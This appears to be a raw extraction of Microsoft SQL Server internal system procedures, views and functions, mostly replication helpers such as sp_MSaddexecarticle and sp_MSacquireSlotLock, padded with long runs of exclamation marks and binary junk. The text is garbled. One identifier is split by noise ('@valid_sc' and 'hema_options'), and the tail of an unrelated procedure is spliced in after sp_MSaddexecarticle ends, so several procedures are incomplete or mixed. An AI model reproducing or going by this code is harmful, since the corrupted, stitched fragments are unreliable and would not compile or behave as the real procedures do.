!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(A`v+create procedure sys.sp_MSaddexecarticle
    @publication sysname,                    /* publication name */
    @article     sysname,                    /* article name */
    @source_proc nvarchar (92),              /* table name */
    @destination_proc sysname = NULL,        /* destination table name */
    @type sysname = NULL,                    /* article type */
    @creation_script nvarchar (255) = NULL,  /* article schema script */
    @description nvarchar (255) = NULL,      /* article description */
    @pre_creation_cmd nvarchar(10) = 'drop', /* 'none', 'drop', 'delete', 'truncate' */
    @schema_option binary(8) = NULL,         /* script out stored procedure */
    @destination_owner sysname,
    @article_id int OUTPUT

    AS


    SET NOCOUNT ON

    /* variables for SP_NAMECRACK */

    DECLARE @site sysname
    DECLARE @db sysname
    DECLARE @owner sysname
    DECLARE @object sysname

    DECLARE @retcode   int

    DECLARE @procid    int
    DECLARE @procnum   smallint
    DECLARE @pubid     int
    DECLARE @precmdid  int

    DECLARE @typeid      smallint
    DECLARE @publish_bit smallint
    DECLARE @unexpected_serializable_setting bit

    DECLARE @in_tran bit
    DECLARE @qualname nvarchar(517)
    DECLARE @allow_initialize_from_backup bit

    SELECT  @typeid      = 24


    SELECT @publish_bit = 1
    SELECT @retcode = 0
    SELECT @in_tran = 0
    SELECT @allow_initialize_from_backup = 0

    /*
    ** Parameter Check: @article.
    ** The @article name cannot be NULL and must conform to the rules
    ** for identifiers.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSaddexecarticle')
            RETURN (1)
        END
    
    /*
    EXECUTE @retcode = sys.sp_validname @article

    IF @retcode <> 0
    return(1)
    */

    if LOWER(@article) = 'all'
        BEGIN
            RAISERROR (14032, 16, -1, '@article')
            RETURN (1)
        END

    /*
    ** Parameter Check: @publication.
    ** The @publication name cannot be NULL and must conform to the rules
    ** for identifiers.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSaddexecarticle')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @publication

    IF @retcode <> 0
    RETURN (1)

    /*
    ** Parameter Check: @source_proc.
    ** Check to see that the @source_proc is local, that it conforms
    ** to the rules for identifiers, and that it is a procedure
    */

    IF @source_proc IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@source_proc', 'sp_MSaddexecarticle')
        RETURN (1)
    END

   select @object = PARSENAME( @source_proc, 1 )
   select @owner  = PARSENAME( @source_proc, 2 )
   select @db     = PARSENAME( @source_proc, 3 )
   select @site   = PARSENAME( @source_proc, 4 )

   if @object IS NULL
         return 1


    -- LIKE N'%.%.%' doesn't guarantee that the object name 
    -- is a 3-part name as . can be embedded in a quoted identifier.
    IF @source_proc LIKE '%.%.%' AND ISNULL(@db, DB_NAME()) <> DB_NAME()
    BEGIN
        RAISERROR (14004, 16, -1, @source_proc)
        RETURN (1)
    END
    

    /*
    **  Get the id of the @source_proc
    */

    SELECT @procid = object_id
      FROM sys.objects
     WHERE object_id = OBJECT_ID(@source_proc)
     AND   type in ('P', 'PC')

    IF @procid IS NULL
    BEGIN
        RAISERROR (14027, 11, -1, @source_proc)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @destination_proc.
    ** If the destination proc is not specified, assume it's the same
    ** as the source. 
    */
    
    IF @destination_proc IS NULL
    BEGIN
        -- Perform parsing only if the destination_proc parameter is not provided
        SELECT @destination_proc = @source_proc

        select @object = PARSENAME( @destination_proc, 1 )
        select @owner  = PARSENAME( @destination_proc, 2 )
        select @db     = PARSENAME( @destination_proc, 3 )
        select @site   = PARSENAME( @destination_proc, 4 )

        if @object IS NULL
             return 1 
    END

    /*
    ** Get the pubid.
    */

    SELECT @pubid = pubid,
           @allow_initialize_from_backup = allow_initialize_from_backup 
      FROM dbo.syspublications 
     WHERE name = @publication

    IF @pubid IS NULL
        BEGIN
            RAISERROR (14027, 11, -1, @publication)
            RETURN (1)
        END


    /*
    ** Parameter Check:  @article, @publication.
    ** Check if the article already exists in this publication.
    */

    IF EXISTS (SELECT *
                 FROM sysextendedarticlesview
                WHERE pubid = @pubid
                  AND name = @article)
        BEGIN
            RAISERROR (14030, 16, -1, @article, @publication)
            RETURN (1)
        END

    IF EXISTS (SELECT * 
                 FROM sys.parameters
                WHERE object_id = @procid
                  AND system_type_id = 243)
        BEGIN
            -- Stored procedures containing table-value parameters cannot be published as '[serializable] proc exec' articles.
            RAISERROR (25023, 16, -1)
            RETURN (1)
        END


    /*
    ** Set the precmdid.  The default type is 'drop'.
    **
    **      @precmdid   pre_creation_cmd
    **      =========   ================
    **            0     none
    **          1     drop
    */
    IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'drop')
       BEGIN
          RAISERROR (14111, 16, -1)
          RETURN (1)
       END

    /*
    ** Determine the integer value for the pre_creation_cmd.
    */

    IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'none'
       SELECT @precmdid = 0
    ELSE IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
       SELECT @precmdid = 1

    /*  Determine 'type' value for article.
    **
    **            8     proc exec
    **           24     serializable proc exec
    */

    IF @type IS NULL
    BEGIN
        SELECT @type = 'serializable proc exec'
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('proc exec', 'serializable proc exec')
    BEGIN
            RAISERROR (14118, 16, -1)
            RETURN (1)
    END

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = 'proc exec'
    BEGIN
       SELECT @typeid = 8
       SELECT @unexpected_serializable_setting = 1
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = 'serializable proc exec'
    BEGIN
       SELECT @typeid = 24
       SELECT @unexpected_serializable_setting = 0
    END

    -- make sure we haven't already created an article of a different type
    -- on this proc

    IF EXISTS ( SELECT * FROM sys.procedures 
                 WHERE object_id = @procid
                   AND is_execution_replicated = 1 -- This bit is set for both 'proc exec' and 'serializable proc exec'
                   AND is_repl_serializable_only = @unexpected_serializable_setting )
    BEGIN
       RAISERROR (21024, 16, -1, @source_proc )
       RETURN(1)
    END

    /*
    ** Parameter Check:  @creation_script and @schema_option
    ** @schema_option is null, set the default value
    */
    IF @schema_option IS NULL
    BEGIN
        SELECT @schema_option = 1
    /* 
        RAISERROR (14043, 16, -1, '@schema_option', 'sp_MSaddexecarticle')
        RETURN (1)
        */
    END

    SET @schema_option = sys.fn_replprepadbinary8(@schema_option)
    DECLARE @valid_schema_options int 
    SET @valid_schema_options = 0xFAC03021
    DECLARE @schema_option_lodword int
    SET @schema_option_lodword = fn_replgetbinary8lodword(@schema_option)

    IF (@schema_option & ~@valid_sc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<='
Dk+hema_options) <> 0 
    BEGIN
        RAISERROR (20014, 10, -1)
        RETURN (1)
    END

    /*
    ** If the publication is enabled for autonosync, we need to impose
    ** a number of additional restrictions.
    */
    IF @allow_initialize_from_backup = 1
    BEGIN
        -- If destination owner is null or empty, explicitly set it to be the 
        -- same as the source owner.
        IF @destination_owner IS NULL or RTRIM(@destination_owner) = N''
        BEGIN
            SELECT @destination_owner = schema_name(OBJECTPROPERTY(@procid, 'SchemaId'))
        END

        -- If destination object (proc) name is null or empty, explicitly set it
        -- to be the same as the source object (proc) name
        IF @destination_proc IS NULL or RTRIM(@destination_proc) = N''
        BEGIN
            SELECT @destination_proc = OBJECT_NAME(@procid)
        END 

        -- Destination owner/object name cannot differ from source object/owner
        -- name (Restriction temporarily lifted)
--        IF @destination_proc <> OBJECT_NAME(@procid) or 
--           @destination_owner <> schema_name(OBJECTPROPERTY(@procid, 'SchemaId'))
--        BEGIN
--            RAISERROR (18791, 16, -1)
--            RETURN (1)
--        END
        -- Article type must be serializable proc exec
        -- Restriction (temporarily lifted)
--        IF @typeid <> 24
--        BEGIN
--            RAISERROR (18793, 16, -1)
--            RETURN (1)
--        END
    END  

    /*
    **  Add article to sysarticles and update sys.objects category bit.
    */

    begin tran
    save TRAN sp_MSaddexecarticle
        INSERT sysarticles (creation_script, del_cmd, description,
                            dest_table, filter, filter_clause, ins_cmd, name,
                objid, pre_creation_cmd, pubid,
                            status, sync_objid, type, upd_cmd, schema_option,
                            dest_owner)
        VALUES (@creation_script, NULL, @description,
                @destination_proc, 0, '', NULL, @article,
                @procid, @precmdid, @pubid,
                case when @allow_initialize_from_backup = 1 then 1 else 0 end 
                , @procid, @typeid, NULL, @schema_option,
                @destination_owner)

        IF @@ERROR <> 0
        BEGIN
            SELECT @retcode = 1
            GOTO FAILURE
        END

        SELECT @article_id = @@IDENTITY

        EXEC sys.sp_MSget_qualified_name @procid, @qualname OUTPUT
        IF @qualname IS NULL
        BEGIN
            SELECT @retcode = 1
            GOTO FAILURE
        END
        
        EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @procid, Exclusive = 1, BindInternal = 0)
        IF @@ERROR <> 0
        BEGIN
            SELECT @retcode = 1
            GOTO FAILURE
        END

        EXEC %%Object(ID = @procid).SetPublished(Value = 1)
        IF @@ERROR <> 0
        BEGIN
            SELECT @retcode = 1
            GOTO FAILURE
        END
        
        -- If the publication is enabled for autonosync, turn on the 
        -- 'replicated' bit of the stored procedure now. We will also
        -- need to increment the publication's min. subscription backup
        -- lsn.
        IF @allow_initialize_from_backup = 1
        BEGIN

            -- The following @typeid checks are not really needed if we 
            -- consider the fact that only 'serializable proc exec' type
            -- articles are allowed for backup sub. publications
            -- (see preceding check), but the presence of the following
            -- checks will make the code more resilient to change of 
            -- requirements. (Now that the check is temporarily removed,  
            -- the preceding statement is not true anymore.)

            IF (@typeid &  8) = 8            
                EXEC %%Module(ID = @procid).SetProcReplicated(Value = 1)
            IF (@typeid &  16) = 16            
                EXEC %%Module(ID = @procid).SetProcReplSerialOnly(Value = 1)

            -- Activate the article immediately and flush the article cache,
            -- This way, all executions of this procedure starting from
            -- now will be tracked and replicated to the distribution database
            UPDATE dbo.sysarticles
               SET status = status | 1
             WHERE artid = @article_id
            IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO FAILURE END            

            EXEC @retcode = sys.sp_replflush 
            IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO FAILURE END            

            -- Increment the min subscription autonosync lsn of the publication
            EXEC @retcode = sys.sp_MSincrementpublicationminautonosynclsn
                    @publication = @publication
            IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO FAILURE END            

        END


    COMMIT TRAN

FAILURE:

    IF @in_tran <> 0 AND @retcode <> 0
    BEGIN
        ROLLBACK TRAN sp_MSaddexecarticle
        COMMIT TRAN
    END

    RETURN @retcode
@repl_freq         = @repl_freq
        	,@filter_clause     = @filter_clause
        	,@distributortimestamp = @distributortimestamp	
        	,@instance_id	   = @instance_id	

        if @@error <> 0 OR @retcode <> 0
        begin
        	raiserror (21778, 16, -1, @article)
        	raiserror (21603, 16, -1, @publisher) 
        	return (1)
        end

        fetch #hArticles into @article,
			@article_id,
			@publication_id,
			@table_name,
			@user_name,
			@type,
			@status,
			@table_id,
			@article_view,
			@upd_cmd,
			@del_cmd,
			@instance_id,
			@filter_clause		
    end

    close #hArticles
    deallocate #hArticles

    -- Set the SQL version in the Oracle package
    execute @retcode = sys.sp_setOraclepackageversion @publisher = @publisher
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror (21603, 16, -1, @publisher) 
        return(1)
    end

    -- Force the publisher version in IHpublishers to be refreshed from the remote server
    UPDATE IHpublishers 
    SET version = NULL
    WHERE publisher_id = @publisher_id

    EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
		                        @version	= @version OUTPUT
	
    return(0)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<?xA)Q00)b 8
create procedure sys.sp_oledb_defdb
as
    select
        dbname
    from
        master..syslogins
    where
        sid=SUSER_SID()
0c /8
create procedure sys.sp_MSacquireSlotLock 
@process_name                   sysname,
@concurrent_max                 int,
@queue_timeout                  int = 0,
-- means wait in definitely
@return_immediately             bit = 0,
-- if set to 1, take a peek at the server and return immediately.
@DbPrincipal                    sysname = NULL
AS
declare @entry_date     datetime
declare @slot_name      nvarchar(150)  -- OUTPUT 
-- must give back slot acquired to caller so caller can later release.
declare @basetime       datetime
declare @delaytime      datetime
declare @retcode        int
declare @i              int
declare @lock_acquired  bit

-- Security Checking 
-- sysadmin or db_owner or replication agent have access
exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
if (@retcode <> 0) or (@@error <> 0)
begin
        RAISERROR (14126, 11, -1)
       return 1
end

select @lock_acquired = 0
if @queue_timeout<0
    begin
        raiserror(21344, 16, -1, '@queue_timeout')
        return (1)      
    end
    
if @concurrent_max<=0
    begin
        raiserror(21344, 16, -1, '@concurrent_max')
        return (1)      
    end

if @DbPrincipal is NULL 
begin
    if exists (select * from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
        select @DbPrincipal = N'MSmerge_PAL_role'
    else
        select @DbPrincipal = N'db_owner'
end

select @entry_date=getdate()
select @delaytime = '00:00:02' 
--polling interval is defaulted to 2 seconds

SET @slot_name=NULL -- If terminate anywhere unexpectedly, dont want to give 
                    -- caller a lock they didnt really get.

-- We are at front of queue, so check if any available 'slot' is open.   
-- We do not wait at all for these locks, and hence 
-- expect either it was granted or timed out (-1).

SET @i=1

WHILE (@i <= @concurrent_max)
    BEGIN
        --the process has waited long enough. quit now and try later. 
        -- If @queue_timeout is 0, keep waiting until succeeds.
        if @queue_timeout>0 and DATEADD(second, -@queue_timeout,  getdate()) 
            > @entry_date
            begin
                select @lock_acquired = 1 -- not a peek but has waited as specified
                select @slot_name = NULL -- waited but failed to get one
                BREAK
            end

        SET @slot_name=@process_name+convert(varchar,@i)
        
        --the call is not blocking, return immediately having acquired 
        -- the lock or not
        exec @retcode=sys.sp_getapplock @Resource=@slot_name,@LockMode=N'Exclusive',
            @LockOwner='Session',@LockTimeout=0,@DbPrincipal=@DbPrincipal
        IF (@retcode <> 0 AND @retcode <> -1)
            BEGIN
                RAISERROR(21414,16,-1)
                RETURN(@retcode)
            END
    
        IF (@retcode = 0)       -- got lock for that slot - cleanup and leave.
            BEGIN
                -- Release the "Im first lock"
                exec @retcode=sys.sp_releaseapplock @process_name,@LockOwner=N'Session',@DbPrincipal=@DbPrincipal
                IF (@retcode <> 0)
                BEGIN
                    SET @slot_name=NULL
                    RAISERROR(21415, 16, -1)
                    RETURN(@retcode)
                END
                select @lock_acquired = 1
                -- We got our slot and released the Im first lock.  We're done.
                BREAK
            END
        ELSE
        IF (@retcode = -1)  -- Couldn't immediately get the lock.  
                            -- So try the next one.
            BEGIN
            SET @i=@i+1
                IF @i <= @concurrent_max
                    CONTINUE   -- restart the loop
                ELSE
                    BEGIN       -- Sleep and start over.
                    if @return_immediately=1
                        begin
                            select @lock_acquired = 0 
                            --slot name does not matter in this case
                            BREAK
                        end
                    else
                        begin
                            WAITFOR DELAY @delaytime
                            SET @i=1
                            CONTINUE   -- restart the loop
                        end
                    END
            END
        
    END
    
    --output the slot name for the purpose of releasing the lock by the caller
    --if the value if NULL, the caller does not acquire the lock
    select @lock_acquired, @slot_name
RETURN(0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_view 
(
    @artid int,
    @view_name sysname, 
    @include_timestamps bit
)
as
begin
    declare @base_objid int
                ,@user_name sysname
                ,@table_name sysname
                ,@qualified_table_name nvarchar(520)
                ,@filter_clause nvarchar(4000)
                ,@cmdfrag nvarchar(4000)
                ,@separator nvarchar(1)
                ,@colname sysname
                ,@colid int
                ,@fallowupdatingsubscriber bit
                ,@retcode int
                ,@schema_option bigint
                ,@rowguid_column_id int
                ,@has_filestream_column bit
                ,@is_filestream bit
                ,@is_rowguidcol bit
    declare @tempcmd table( c1 int identity NOT NULL, cmdfrag nvarchar(4000) collate database_default )

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return(1)

    --
    -- initialize the metadata
    --
    select @table_name = so.name
           ,@base_objid = art.objid
           ,@user_name = schema_name(so.schema_id)
           ,@table_name = so.name
           ,@qualified_table_name = QUOTENAME(schema_name(so.schema_id)) + N'.' + QUOTENAME(so.name)
           ,@filter_clause = art.filter_clause
           ,@fallowupdatingsubscriber = case when (pub.allow_sync_tran = 0 and pub.allow_queued_tran = 0) then 0 else 1 end
           ,@schema_option = convert(bigint, art.schema_option)
       from sysarticles art, sys.objects so, syspublications pub
       where art.artid = @artid
           and art.objid = so.object_id
           and art.pubid = pub.pubid


    select @rowguid_column_id = null
           ,@has_filestream_column = 0

    --
    -- sp_articleview will strip out owner qualifications on @view_name so we will
    -- just prepend dbo.
    --
    insert into @tempcmd (cmdfrag) values ( N'create view [dbo].' + QUOTENAME(@view_name) + N'as select ' )
    --
    -- script the column list in the select statement
    --
    declare #hc  CURSOR LOCAL FAST_FORWARD FOR 
        select distinct sc.name, sc.column_id, sc.is_filestream, sc.is_rowguidcol
          from sys.columns sc
         where sc.object_id = @base_objid 
           and (exists (select * from dbo.sysarticlecolumns sac
                         where sac.artid = @artid
                           and sac.colid = sc.column_id)
                or 
                (@include_timestamps = 1 and sc.system_type_id = 189))
        order by sc.column_id ASC
    select @cmdfrag = N''
            ,@separator = N''
    open #hc
    fetch #hc into @colname, @colid, @is_filestream, @is_rowguidcol
    while (@@fetch_status <> -1)
    begin
        if datalength( @cmdfrag ) > 3500 
        begin
            insert into @tempcmd(cmdfrag) values (@cmdfrag)
            select @cmdfrag = N''
        end
        select @cmdfrag = @cmdfrag + @separator + quotename(@colname)
        select @separator = N','
        if @is_filestream = 1
        begin
            set @has_filestream_column = 1
        end
        if @is_rowguidcol = 1
        begin   
            set @rowguid_column_id = @colid
        end
        fetch #hc into @colname, @colid, @is_filestream, @is_rowguidcol
    end            
    close #hc
    deallocate #hc
    insert into @tempcmd( cmdfrag ) values (@cmdfrag) 
    --
    -- continue scripting
    --
    insert into @tempcmd( cmdfrag ) values (N' from ')
    insert into @tempcmd( cmdfrag ) values (@qualified_table_name)

    --
    -- Script index hint to use rowguid index for un-filtered articles
    -- containing filestream and rowguid columns. The QO can guarantee that 
    -- rowguid column values are unique during a simple select * scan (BCP out
    -- especially) through the rowguid index without having to take out a 
    -- shared table lock under the default read-committed isolation level.
    -- 
    if ((@filter_clause is null or datalength(@filter_clause) = 0) 
        and @has_filestream_column = 1
        and @rowguid_column_id is not null)
    begin
        declare @rowguid_index_name sysname
        set @rowguid_index_name = null

        select @rowguid_index_name = si.name
          from sys.indexes si
    inner join sys.index_columns sic
            on si.index_id = sic.index_id
           and si.object_id = sic.object_id
         where si.object_id = object_id(@qualified_table_name)
           and sic.column_id = @rowguid_column_id
           and si.is_unique = 1
           and (si.is_unique_constraint = 1 or si.is_primary_key = 1)
           and si.index_id in
            (select sic2.index_id
               from sys.index_columns sic2
              where object_id = object_id(@qualified_table_name)
           group by index_id, object_id
             having count(index_id) = 1)
    
        if (@rowguid_index_name is not null)
        begin
            insert into @tempcmd( cmdfrag ) values (N' with (index(' + quotename(@rowguid_index_name) + N'))') 
        end        
    end

    insert into @tempcmd( cmdfrag ) values (N' where HAS_PERMS_BY_NAME(''' + 
        sys.fn_replreplacesinglequote(@qualified_table_name)  + N''', ''OBJECT'', ''SELECT'')= 1 ')
        
    --
    --add filter clause
    --
    if( @filter_clause is not null and datalength( @filter_clause ) > 0 )
    begin
        --
        -- we have a horizontal filter - apply it to the view
        --
        exec @retcode = sys.sp_MSsubst_filter_names @user_name, @table_name, @filter_clause output
        if @retcode <> 0 or @@error <> 0
            return 1        
        insert into @tempcmd( cmdfrag ) values (N'and (' + @filter_clause + N')')
        --
        -- Add check option for updating subscriber publications
        --
        if (@fallowupdatingsubscriber = 1)
        begin
            insert into @tempcmd( cmdfrag ) values (N' with check option ')
        end
    end
    --
    -- prepare the resultset for creating the view
    --
    select cmdfrag from @tempcmd order by c1 asc
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`_
9	<4g0% $8create procedure sys.sp_MSget_qualified_name (
    @object_id                int,                         
    @qualified_name            nvarchar(517)    output       
)AS
    if object_name(@object_id) is not null
        select @qualified_name = 
            (select quotename(schema_name(schema_id)) collate database_default from sys.objects where object_id = @object_id) + 
            N'.' + quotename(object_name(@object_id)) collate database_default 
    else
        select @qualified_name = NULL
0/ 8 
-- add it
create view sys.dm_pdw_nodes_os_cluster_nodes as
select *, convert(int, null) pdw_node_id from sys.dm_os_cluster_nodes
0`4@ 
8--
-- Name: sp_MSscriptpublicationconflicttables
--
-- Description: This is a helper stored procedure for scripting out conflict 
--              tables for all (or just one) table articles in a publication. 
--
-- Parameter: @publication sysname (mandatory)
--           
-- Notes:1) This procedure assumes the #scripttext temporary table has been 
--       pre-created by the caller.
--       2) Since this is an internal procedure, parameter checking is minimal
--    
-- Security: This is an internall system procedure.
--
create procedure sys.sp_MSscriptpublicationconflicttables (
    @publication    sysname,
    @article        sysname = N'all'
    )
as
begin
    set nocount on
    declare @retcode          int,
            @cursor_allocated bit,
            @cursor_opened    bit,            
            @pubid            int,
            @current_article  sysname


    -- Initializations
    select @retcode = 0,
           @cursor_allocated = 0,
           @cursor_opened = 0,
           @pubid = NULL
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    select @pubid = pubid
      from dbo.syspublications
     where name = @publication
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return 1
    end    

    -- Open cursor through all table articles in the specified publication
    -- and script out conflict table
    
    declare harticle cursor local fast_forward for
        select name 
          from dbo.sysarticles
         where pubid = @pubid
           and (type & 1) <> 0
           and (@article = N'all' or name = @article)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursor_allocated = 1

    open harticle
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursor_opened = 1
    
    fetch harticle into @current_article
    
    while (@@fetch_status<>-1)
    begin

        insert into #scripttext(line) 
            exec @retcode = sys.sp_scriptsubconflicttable 
                @publication = @publication
                ,@article = @current_article
        -- Insert go
        insert into #scripttext (line) values ('GO')
        fetch harticle into @current_article    
    end    
            
Failure:
    
    if @cursor_opened <> 0
    begin
        close harticle
    end
    
    if @cursor_allocated <> 0
    begin
        deallocate harticle
    end
    return @retcode

end
0JcY 8 
-- add it
create view sys.dm_pdw_component_health_alerts as
select
	pdw_node_id,
	component_id,
	component_instance_id	collate database_default component_instance_id,
	alert_id,
	alert_instance_id	collate database_default alert_instance_id,
	previous_value	collate database_default previous_value,
	current_value	collate database_default current_value,
	create_time
from sys._dm_pdw_component_health_alerts
0_^ \8XBQh>8^w0_n M8
create procedure sys.sp_catalogs
(
    @server_name        sysname
)
as
    select
        CATALOG_NAME    = f_rc.CATALOG_NAME,
        DESCRIPTION     = convert (nvarchar(255), f_rc.DESCRIPTION)
    from
        sys.fn_remote_catalogs (@server_name, NULL) f_rc
    order by CATALOG_NAME
0Z 8create function sys.fn_MSvalidatelogshipagentid 
(
    @agent_id uniqueidentifier      -- primary/secondary ID
    ,@agent_type tinyint               -- 0 = Backup, 1 = Copy, 2 = Restore
)
returns bit
as
begin
    return case 
                when ((@agent_type = 0) and 
                            exists (select * from msdb.dbo.log_shipping_monitor_primary
                                        where primary_id = @agent_id)) then 1
                when ((@agent_type in (1,2)) and 
                            exists (select * from msdb.dbo.log_shipping_monitor_secondary
                                        where secondary_id = @agent_id)) then 1
                else 0 end
end
0 )@ ;8
create procedure sys.sp_MSgetpubinfo (
	@publication	sysname,	/* The publication name */
	@publisher		sysname,
	@pubdb			sysname
	) AS

	SET NOCOUNT ON
	
	--don't further qualify with server name and DB name - it's just security checking
	declare @retcode int
	exec @retcode = sys.sp_MSrepl_PAL_rolecheck
	if (@retcode <> 0) or (@@error <> 0)
	        return 1

	select pubid from dbo.sysmergepublications where name = @publication and
			LOWER(publisher) = LOWER(@publisher) and LOWER(publisher_db) = LOWER(@pubdb)
			
